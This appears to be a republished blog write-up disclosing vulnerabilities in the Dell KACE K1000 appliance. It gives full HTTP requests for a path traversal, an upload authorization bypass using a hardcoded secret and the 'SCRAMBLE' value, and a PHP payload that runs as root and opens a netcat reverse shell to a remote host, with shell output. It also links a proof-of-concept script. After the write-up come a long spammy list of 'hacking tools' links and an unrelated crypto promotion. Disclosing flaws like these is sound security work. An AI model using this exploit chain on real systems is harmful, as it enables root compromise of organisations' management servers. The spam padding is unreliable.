วันจันทร์ที่ 24 สิงหาคม พ.ศ. 2563

The Curious Case Of The Ninjamonkeypiratelaser Backdoor

A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.

Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:
POST /userui/downloadpxy.php HTTP/1.1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download

HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini   ;
;;;;;;;;;;;;;;;;;;;
That bug is neat, but its post-auth and can't be used for RCE because it returns the file as an attachment :(

So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named "kbot_upload.php". This file is located on the appliance at the following location:
http://targethost/service/kbot_upload.php
This script includes "KBotUpload.class.php" and then calls "KBotUpload::HandlePUT()", it does not check for a valid session and utilizes its own "special" means to auth the request.

The "HandlePut()" function contains the following calls:

        $checksumFn = $_GET['filename'];
        $fn = rawurldecode($_GET['filename']);
        $machineId = $_GET['machineId'];
        $checksum = $_GET['checksum'];
        $mac = $_GET['mac'];
        $kbotId = $_GET['kbotId'];
        $version = $_GET['version'];
        $patchScheduleId = $_GET['patchscheduleid'];
        if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
            KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
                  ."($machineId, $checksumFn, $mac)");
            KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
                  ."from HandlePUT(".construct_url($_GET).")");
            header("Status: 500", true, 500);
            return;
        }

The server checks to ensure that the request is authorized by inspecting the "checksum" variable that is part of the server request. This "checksum" variable is created by the client using the following:

      md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

Server side check:
    private static function calcTokenChecksum($filename, $machineId, $mac)
    {
        //return md5("$filename $machineId $mac" . $ip .
        //           'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
     
        // our tracking of ips really sucks and when I'm vpn'ed from
        // home I couldn't get patching to work, cause the ip that
        // was on the machine record was different from the
        // remote server ip.
        return md5("$filename $machineId $mac" .
                   'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
    }
The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server. 

In addition to this "calcTokenChecksumcheck, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):  
 if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www" user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp", time to escalate to something more useful :)

From our new home in "tmp" with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC ("KSudoClient.class.php").


The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:
    POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Content-Length: 190
    <?php
    require_once 'KSudoClient.class.php';
    KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?> 
Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:
    http://targethost/service/tmp/db.php
On our host:
    ~$ ncat -lkvp 4444
    Ncat: Version 5.21 ( http://nmap.org/ncat )
    Ncat: Listening on 0.0.0.0:4444
    Ncat: Connection from XX.XX.XX.XX
    sh: can't access tty; job control turned off
    # id
    uid=0(root) gid=0(wheel) groups=0(wheel)  

So at the end of the the day the count looks like this:
Directory Traversals: 2
Backdoors: 2
Privilege Escalation: 1
That all adds up to owned last time I checked.

Example PoC can be found at the following location:
https://github.com/steponequit/kaced/blob/master/kaced.py

Example usage can be seen below:


Related links

  1. How To Install Pentest Tools In Ubuntu
  2. Pentest Tools Apk
  3. Computer Hacker
  4. Pentest Tools Open Source
  5. Tools For Hacker
  6. Blackhat Hacker Tools
  7. Hacking Tools Download
  8. Hack Tools Mac
  9. Pentest Tools Apk
  10. Hacker
  11. Hacker Tools Hardware
  12. Computer Hacker
  13. Hacking Tools Windows
  14. Pentest Tools Open Source
  15. Blackhat Hacker Tools
  16. Pentest Tools Tcp Port Scanner
  17. Install Pentest Tools Ubuntu
  18. Hacking Tools
  19. Pentest Tools For Mac
  20. Hacking Tools Download
  21. Hack Tools Download
  22. World No 1 Hacker Software
  23. Pentest Tools Find Subdomains
  24. Hack Tools Github
  25. Hack Tool Apk
  26. Pentest Tools List
  27. Pentest Tools List
  28. Hack Tools Download
  29. Pentest Tools For Ubuntu
  30. Hacker Tools For Ios
  31. Pentest Tools Github
  32. Hacking Tools For Beginners
  33. Hacking Tools Name
  34. Pentest Tools Apk
  35. New Hacker Tools
  36. Tools Used For Hacking
  37. Hacking Tools Software
  38. Hacker Tools List
  39. Hacking Apps
  40. Hacking Tools For Mac
  41. Underground Hacker Sites
  42. Hack Tools
  43. Github Hacking Tools
  44. Hacker Tools 2020
  45. Hacker Tools Free Download
  46. Best Pentesting Tools 2018
  47. Hack Website Online Tool
  48. Hack Rom Tools
  49. Hacking Tools Windows
  50. Growth Hacker Tools
  51. Hacker Tools Free Download
  52. Pentest Box Tools Download
  53. Hacking Tools Pc
  54. Hacking Tools Usb
  55. Hacking Tools For Mac
  56. Termux Hacking Tools 2019
  57. Hacker Tools Linux
  58. Hack Apps
  59. Hacking Tools Usb
  60. Hack Tool Apk No Root
  61. What Are Hacking Tools
  62. Hacking Tools Github
  63. Blackhat Hacker Tools
  64. Hack Tools Online
  65. Black Hat Hacker Tools
  66. Hacking Tools Free Download
  67. Hacker Tools For Ios
  68. Hack Tools For Ubuntu
  69. Hacker Tools For Mac
  70. Pentest Tools Online
  71. What Is Hacking Tools
  72. Pentest Tools Windows
  73. Hacking Tools Online
  74. Pentest Tools For Mac
  75. Growth Hacker Tools
  76. Hacking Tools 2019
  77. Top Pentest Tools
  78. Pentest Tools Find Subdomains
  79. Easy Hack Tools
  80. Pentest Tools
  81. Pentest Tools Kali Linux
  82. Pentest Tools Nmap
  83. Hackrf Tools
  84. Termux Hacking Tools 2019
  85. Pentest Tools Download
  86. Hacking Tools For Kali Linux
  87. Pentest Tools Tcp Port Scanner
  88. Hacker Tools Online
  89. Hack Tools Pc
  90. New Hacker Tools
  91. Best Pentesting Tools 2018
  92. Nsa Hack Tools
  93. Hacking Tools For Pc
  94. Pentest Tools Windows
  95. Free Pentest Tools For Windows
  96. Hack App
  97. Black Hat Hacker Tools
  98. Hacking Tools For Windows
  99. Hacker Tools List
  100. Nsa Hacker Tools
  101. Install Pentest Tools Ubuntu
  102. Hacking Apps
  103. Pentest Tools Linux
  104. Best Hacking Tools 2019
  105. Hacker Techniques Tools And Incident Handling
  106. Kik Hack Tools
  107. Hacking Tools Download
  108. Nsa Hack Tools
  109. Hacker Tools Hardware
  110. Hack Tools For Pc
  111. Pentest Tools For Ubuntu
  112. Hacker Tools Linux
  113. Physical Pentest Tools
  114. Hack Tools
  115. Hack App
  116. Kik Hack Tools
  117. Growth Hacker Tools
  118. Easy Hack Tools
  119. New Hack Tools
  120. Hacking Tools For Mac
  121. Hack App
  122. Pentest Tools For Mac
  123. Physical Pentest Tools
  124. Hacking Tools Usb
  125. Hacker Security Tools
  126. Hacking Tools Software
  127. Tools 4 Hack
  128. Kik Hack Tools
  129. Hackrf Tools
  130. Hacking Tools 2020
  131. New Hacker Tools
  132. Tools For Hacker
  133. Pentest Tools Kali Linux
  134. Pentest Tools Bluekeep
  135. New Hack Tools
  136. Hacking Tools Hardware
  137. Wifi Hacker Tools For Windows
  138. Hacking Tools Github
  139. Beginner Hacker Tools
  140. Hacker Tools Online
  141. Hacking Tools For Windows
  142. Hacking Tools Free Download
  143. Physical Pentest Tools
  144. Pentest Tools Github
  145. Hacking Tools Free Download
  146. Hacking Tools For Windows 7
  147. Hacking Apps
  148. Hacking Tools 2020
  149. Hacking Tools Mac
  150. Hacker Tools Linux
  151. Pentest Tools Url Fuzzer
  152. Hacker
  153. How To Hack
  154. How To Install Pentest Tools In Ubuntu
  155. Hacker Tools 2020
  156. What Are Hacking Tools
  157. Pentest Tools Apk
  158. Hack Tools
  159. Hacker Tools
  160. Hacking Tools For Windows Free Download
  161. Tools 4 Hack
  162. Hacker Tools 2019
  163. Hack Rom Tools
  164. Hack Tools Pc
  165. Ethical Hacker Tools

Unlocking Berachain’s Yield Potential: How to Earn $BERA with Boyco

The highly anticipated Boyco platform is here, unlocking massive opportunities for early adopters in the Berachain ecosystem. For the first...